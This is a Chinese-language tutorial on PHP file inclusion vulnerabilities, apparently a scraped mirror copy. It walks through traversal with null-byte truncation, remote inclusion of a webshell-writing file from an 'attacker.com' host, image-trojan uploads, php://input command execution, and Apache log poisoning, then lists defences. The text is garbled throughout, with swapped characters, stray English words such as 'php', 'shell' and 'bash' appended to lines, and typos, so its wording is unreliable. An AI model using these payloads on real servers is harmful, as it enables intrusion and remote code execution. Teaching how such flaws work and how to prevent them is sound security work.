文件包含

文件包含說明

定義:在經過PHP的函數引入文件時,因爲傳入的文件名沒有通過合理的校驗,從而操做了預想以外的文件,致使意外的文件泄露甚至惡意的代碼注入。php

程序開發人員一般會把可重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程通常被稱爲包含。web

程序開發人員都但願代碼更加靈活,因此一般會將被包含的文件設置爲變量,用來進行動態調用,但正是因爲這種靈活性,從而致使客戶端能夠調用一個惡意文件,形成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中卻很是少,甚至沒有包含漏洞的存在。
PHP常見的致使文件包含的函數以下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麼任何擴展名均可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其源代碼。shell

後2個函數會形成敏感文件被讀取。windows

要想成功利用文件包含漏洞,須要知足下面兩個條件:bash

  • include()等函數經過動態變量的方式引入須要包含的文件。
  • 用戶可以控制該動態變量

本地文件包含

<?php 
 	 $file = $_GET['file']; 
     if (file_exists('/home/wwwrun'.$file.'.php')) 
     { 
       include '/home/wwwrun'.$file.'.php'; 
     } 
?>

假如用戶控制$file的值爲「../../etc/passwd」,那麼這段代碼至關於include '/home/wwwrun/../../etc/passwd.php',而這個文件顯然是不存在的。
須要用到字符串截斷技巧:PHP內核是由C語言實現的,所以使用了C語言中的一些字符串處理函數。在鏈接字符串時,0字節(\x00)將做爲字符串結束符。因此在這個地方,攻擊者只要在最後加入一個0字節,就能截斷file變量以後的字符串,即:../../etc/passwd\0,經過Web輸入時,只須要UrlEncode,變成../../etc/passwd%00
「../../../」的方式又被稱爲「目錄遍歷」。能夠經過配置PHP的open_basedir來限制,其做用是限制在某個特定目錄下PHP能打開的文件。例如open_basedir = D:\soft\develop\env\sites\www.a.com,在windows下多個目錄應當用分號隔開,在Linux下則用冒號隔開。服務器

要解決文件包含漏洞,一種方式是使用枚舉即一種白名單的方式。函數

遠程文件包含

若是PHP的配置選項allow_url_include爲ON的話,則include/require函數是能夠加載遠程文件的,這種漏洞被稱爲遠程文件包含漏洞。ui

require_once $basePath . '/action/m_share.php'

攻擊者能夠構造以下的攻擊URL /?param=http://attacker/phpshell.txt?
最終加載的代碼實際上執行了 require_once 'http://attacker/phpshell.txt?/action/m_share.php'
問號後面的代碼被解釋成URL的querystring,也是一種「截斷」,這是在利用遠程文件包含漏洞時的常見技巧。一樣的,%00也能夠用作截斷符號。加密

本地文件包含的利用技巧

  1. 讀取敏感文件
    訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
    若是目標主機文件存在,而且有相應的權限,那麼就能夠讀出文件的內容。反之,就會獲得一個相似於;open_basedir restriction in effect的警告。url

  2. 遠程包含Shell
    若是目標主機allow_url_fopen選項是激活的,就能夠嘗試遠程包含一句話木馬,如:http://www.attacker.com/echo.txt,代碼以下:
    <?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
    訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容爲:
    <?php eval($_POST[xxser]);?>

  3. 本地包含配合文件上傳
    假設已經上傳一句話圖片木馬到服務器,路徑爲:/uploadfile/xxx.jpg
    圖片代碼以下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
    訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。

  4. 使用PHP封裝協議

    • 使用封裝協議讀取PHP文件
      例子以下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
      訪問URL,獲得通過Base64加密後的字符串,這段代碼就是Base64加密事後的PHP源代碼,解密後就可獲得本來的「樣貌」。
    • 寫入PHP文件
      在allow_url_include爲On時,構造URL:http://www.example.com/index.php?page=php://input,而且提交數據爲:<?php system('net user');?>
      會獲得net user命令的結果。
  5. 包含Apache日誌文件
    本地文件包含的利用。
    Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
    攻擊者先訪問http://www.example.com/<?php phpinfo();?>,操做這一步時,須要Burp,不然<,>,空格都會被轉碼。
    隨後訪問http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
    使用這種方式時,找到Apache的路徑是關鍵。

  6. 截斷包含

    <?php
    if(isset($_GET['page'])){
    include $_GET['page'].".php";
    }else{
    include 'home.php';
    }
    ?>

    若是此時存在一個圖片木馬,名爲1.jpg,能夠輸入以下URL:http://www.example.com/index.php?page=1.jpg%00
    固然這種方法只適用於magic_quotes_gpc=Off的狀況下。

  7. 繞過WAF防火牆
    圖片木馬通常不會被web殺毒軟件查出來。

防護方法

1.嚴格判斷包含的參數是否外部可控,由於文件包含漏洞利用成功與否的關鍵點就在於被包含的文件是 否可被外部控制;
2.路徑限制:限制被包含的文件只能在某一文件夾內,必定要禁止目錄跳轉字符,如:「../」;
3.包含文件驗證:驗證被包含的文件是不是白名單中的一員;
4.儘可能不要使用動態包含,能夠在須要包含的頁面固定寫好,如:include("head.php");。

後記

include和require語句是相同的,除了錯誤處理方面: reuqire會生成致命錯誤(E_COMPILE_ERROR)並中止腳本 include只生成錯誤報告(E_WARING),而且腳本會繼續 require和require_once的差異是,require重複調用會屢次加載你引用的文件,而require_once只加載一次,而無論你實際上調用了多少次,主要用於複雜的文件包含關係。 include和include_once的差異也能夠以此類推。

相關文章
相關標籤/搜索